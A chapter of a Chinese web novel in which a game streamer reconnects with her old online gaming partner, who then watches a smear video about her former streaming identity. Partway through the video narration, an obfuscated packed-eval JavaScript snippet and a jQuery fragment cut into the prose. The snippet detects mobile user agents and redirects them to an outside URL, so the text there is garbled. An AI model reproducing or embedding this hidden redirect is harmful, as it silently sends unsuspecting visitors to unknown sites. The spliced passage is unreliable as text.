说实话，程舒晚现在有些茫然。
一开始为了抓住这个突然诈尸的家伙别跑，又为了流量留存，她随口胡诌了句“追男神”——某种意义上来说也不完全算胡诌，她在年少时的确喜欢过二更天。
本来也就是自己知道得了。
可是后面怎么发展成这样的。
怪她，游戏ID和直播账号ID起名一模一样，随手就能搜索到。
程舒晚在这边郁闷自己的失误，那头的弹幕却是一片“哈哈”地刷着，调侃男神哥无与伦比的自恋与幽默感。
网友还是太看热闹不嫌事大了。
好在二更天看起来对是她男神这件事坦然而淡定，也好，省得她尴尬。程舒晚观察了好一阵二更天都没有什么反应，松了口气，继续专注于对局。
但还是有个想法在脑子里酝酿起来。
二更天。
是不是太沉稳了些。
不管是重新上线游戏被她秒邀请，听她表明自己在直播，又或者是后面勘破她的“男神”之言，为她出言回怼不友善的观众……都比她预想的要沉着冷静。
就好像，他对这些都有心理准备一样。
可是怎么可能呢。
大概是因为涨了年纪和阅历，对很多事情见怪不怪了？
应该是吧。
这么说来，二更天现在应该也有二十六七岁了，也不知道长什么样子。
以他的个性来说……这个念头一起，程舒晚脑子里冷不丁浮现出一道高大的，收敛着痞气和刺，显得温和的青年身影。
等等。
为什么这个青年长的是关时的脸。
程舒晚手一抖差点把闪现给摁了，连忙收敛思绪，不敢再乱七八糟想。
她无法想象如果电脑那边的二更天是关时的情景，这太吓人了。
如果是真的，她会尴尬得当场从地球上消失。
马不停蹄那种。
匹配赛不比排位赛那样紧张，就算两人各怀鬼胎神神游游地划水，也依然不怎么艰难地拿下了胜利。
程舒晚问二更天：“再玩一局？”
-二更天：嗯。
下一把对局，程舒晚补位了个进攻位的人物，二更天依然是中路控制位，打着陌生又默契的配合。
直播间的观众人数也基本稳定在一百六七十左右，毕竟也没什么活动和冲分，剩下这些人也就是看程舒晚与男神哥互动配合，吐吐槽，跟她聊聊天。
程舒晚向来话少，不过跟游戏有关的话题她会稍微热烈些，关时也是这时候才注意到，其实她打游戏的时候碎碎念很多。
“绕后。”
“啊，这个上路三个技能空俩，菜菜的。”
“等等，CD呢。”
“死。”
“没跑掉，哭哭。”
弹幕：“主播怎么能毫无波澜地说‘哭哭’这样的话，好搞笑啊。”
“可爱捏。”
“主播好像个念台词的人机。”
关时灌一耳朵程舒晚的嘀咕有点乐，也不知道她这么多话到底是跟他说还是跟观众说。
明明上次在网吧和他一起打游戏的时候可没现在这么活泼。
他突然有点不服。
就在这时，一条言论闯进视野。
“主播声音有点像早早不起早啊。”
关时目光凝了凝，心脏都提程舒晚稍微攥了一把。
“二塔可以点掉了。”程舒晚却仿佛没看见这条弹幕，依然在碎碎念着游戏对局。
好在并不是所有人都认识阿早，这条言论很快被刷上去，消失在一众弹幕之中。
关时不确定程舒晚是单纯没看见还是故意忽视了，但他觉得后者的可能性更大。
程舒晚似乎。
对那年退网的事情从来都闭口不谈。
这是有点奇怪的。
程舒晚说自己不打算重启早早不起早这个账号，关时其实挺意外。
当初程舒晚并不是主动退网，而是遭到了破坏性的针对。辛辛苦苦一手经营的账号毁于一旦，他以为凭她的性子，从哪里跌倒就要从哪爬起来。
为什么会选择从头来过呢？
明明憋着一股不服输的劲儿。
没来由的，关时想到了程舒恒。
他隐隐有个直觉。
或许程舒晚的选择，跟她的家庭有关系。
想到这儿，关时压下眉眼，沉默下去。
打了三把游戏之后，面对程舒晚是否要继续打的疑问，关时给出了否定的回答。
-二更天：要下了。
程舒晚对弹幕说了声“等下”，暂时关掉了直播间的麦克风和游戏画面，这才对他道：“加个微信吧。”
关时愣了片刻，差点要笑出来。
很奇妙。
他主动加她微信的时候受尽冷眼，苏新胜加她微信的时候点头答应，现在到二更天身上，反而变成程舒晚主动来要。
坦白说，他真的如程舒晚所言，对自己的人格魅力有些怀疑了。
-二更天：不了。
-二更天：还是游戏联系吧。
“哦。”程舒晚有些失落，但没有持续多久，“你之后还会玩《封神图录》？”
-二更天：嗯。不过平时比较忙。
关时打字的手微顿，嘴角轻轻勾了勾，露出有点柔软温柔的表情。
-二更天：要一起玩的话，老时间吧。
老时间？
程舒晚盯着这几个字发愣。
-二更天：忘记了？
不，没有。
程舒晚只是一时半会儿没能相信自己理解的那个答案。
七年多……八年以前，在那次颇具戏剧性的初次相遇之后，二更天死乞白赖地加上了她的游戏好友。在下一周程舒晚上线的时候，他第一时间发来消息。
跟个死皮赖脸的泼皮一样。
-二更天：你一星期没上线？
-小鬼叉烧：要上学。干什么？
-二更天：五排吗？缺一。
-小鬼叉烧：不。
-二更天：不喜欢那么多人？
-小鬼叉烧：有你一个就够吵的。
-二更天：哦。
-二更天：那只有我一个，行不行？
-小鬼叉烧：？
-二更天：上次我们匹配队友那次，我俩挺默契的。
-小鬼叉烧：……
-二更天：你每周什么时间上线？一起双排上分？
-小鬼叉烧：滚呐。
“……我记得，周五周六，晚上七点半到十一点半。”程舒晚紧紧攥着耳机的麦克风，呢喃般重新念了一遍，“老时间。”
-二更天：嗯，不见不散。
“……不见不散。”
道别之后，二更天退出了匹配房间，程舒晚点开好友列表，他的头像一闪变成了灰色。
上次登录，刚刚。
不再是遥遥无期的纪年。
程舒晚深深吸了一口气，长长地呼出来，仿佛按下暂停键般呆坐了几秒，这才重新打开麦克风和游戏画面。
“我们接着排位吧。”她对弹幕说道。
关时背靠着椅背，盯着登出游戏后的界面许久。
他习惯性地从口袋里摸出烟盒抖出一支香烟，刚凑到嘴边突然想到什么，又把它放了回去，伸出手指，慢慢在游播社的搜索栏里一个字一个字输入“早早不起早”。
搜索出来的除了程舒晚那个早已退网的账号之外还有不少视频，有直播切片，有她的攻略视频，然而排在第一个的视频来自三年多前，标题是：
“学历造假？骗粉丝钱？梳理游戏主播早早不起早人设崩塌大瓜始末！”
——崩塌你妈。
关时握着鼠标的手摩挲了下，表情有些不适，但还是点了进去。
视频刚开始就是一大堆截图快闪，伴随故作夸张的配乐，生怕调动不了观众情绪似的，挺吵闹，关时手指一划滚轮把声音调小。
“《封神图录》女主播早早不起早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364899|183889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人设崩塌？快来看看究竟发生了什么吧！”博主声情并茂地盘点起来。
“众所周知，早早不起早——简称阿早，以高超的游戏技术在游播社小有名气，其千机鸟出神入化无往不利，而且还是个大学霸！”
“从早期的直播间聊天中，阿早无意透露过自己的大学，是全国top10的海大。”
“这在游戏主播当中可谓是高学历，阿早也因此收获很多粉丝的簇拥和崇拜，但是！”博主话锋一转，“就在今年十月二十三号，有个叫‘醉眠’的网友曝光了和阿早的聊天记录，爆出一个惊天秘密——阿早的高考只有三百多分！”
“那么阿早究竟是怎么考进的海大？”
“面对网友的质疑，阿早十月二十四号晚上的直播中义正言辞自己不认识醉眠，而且自己是正儿八经考进海大的，也晒出了六百八十二分的高考成绩，但奇怪的是却没有露出自己的名字。”
“双方各执一词，醉眠却在这时候放出大瓜——他是阿早的粉丝，也是男友！”
“他同时还曝光了和阿早的合照（打码），用于直播的书桌桌面，经过博主自己的对比，确实是阿早直播时摄像头所拍摄的场景，桌面、键盘、鼠标完全一致。”
“醉眠说，自己在恋爱期间为阿早花了很多钱，阿早从来没有拒绝过，骗了两万块钱之后断崖分手！”
“有人对醉眠的曝光提出质疑，说他的聊天记录、转账记录都有P图的痕迹，阿早在直播中强调没有此事，她会放出证据，但是从二十六号开始，阿早除了发布一条直播请假动态之后就再也没有做出过回应，直接人间蒸发，无疑是把所有支持她的粉丝来了一记狠狠的背刺！”
“如果醉眠说的是假的，为什么阿早不做回应？截止目前已经过去了一个星期，阿早仍未现身，她在害怕什么？又在掩饰什么呢？”
视频后面是一些猜想和假设，关时没有看完，忍无可忍地关掉了，起身来往外走，在阳台透了口气。
四年多前，他无意刷到早早不起早的直播。
那会儿他早就没玩《封神图录》了，本来想划走，但是看到屏幕上的千机鸟，鬼使神差地停在这个界面。
他听到了主播的声音，恍惚了许久。
阿早的打法，声音，语气。
都太像小鬼叉烧了。
关时当时在专插本考试和接手网咖事务之间连轴转，只能抽着空有一搭没一搭地看阿早的直播，就这样看了半年的时间。
其间不知道从什么时候起，他已经潜移默化把阿早当做了那个曾经同行一年，素未谋面的游戏搭子。
叉烧那么喜欢游戏。
成为游戏主播，或许也是她所期待的吧。
可是。
到底是谁。
把她的愿景。
把她的热爱。
全部碾成一地的碎片。
在确认阿早消失不再回来那天晚上，关时难得停了学习计划，在阳台站着，烟一根接着一根抽，隔天嗓子都是哑的。
他知道。
他知道那些子虚乌有的爆料，就是一场彻头彻尾的针对和无聊的谎言。
他明明知道。
可不要说支撑她，鼓励她。
他连她是谁都不知道。
关时回想起半年前，在程舒恒的葬礼上看见程舒晚的第一眼。
灵堂里，身边的母亲情绪崩溃，父亲酝酿着满面的乌云，只有程舒晚那清瘦的身躯，沉默地，凉淡地站在一边。
对什么事都漠不关心一般。
他觉得。
她大概是累了。
这么长的路。
都是她一个人走下来的吗？
关时深吸一口气，双手交叉夹在阳台的边沿上，微微撸起袖子，左手拇指在右手的刀疤上摩挲了下。
现在。
不一样了。
他能做到。
只要是她想要的。
尽情开路吧，搭档。
你的障碍。
我来帮你扫。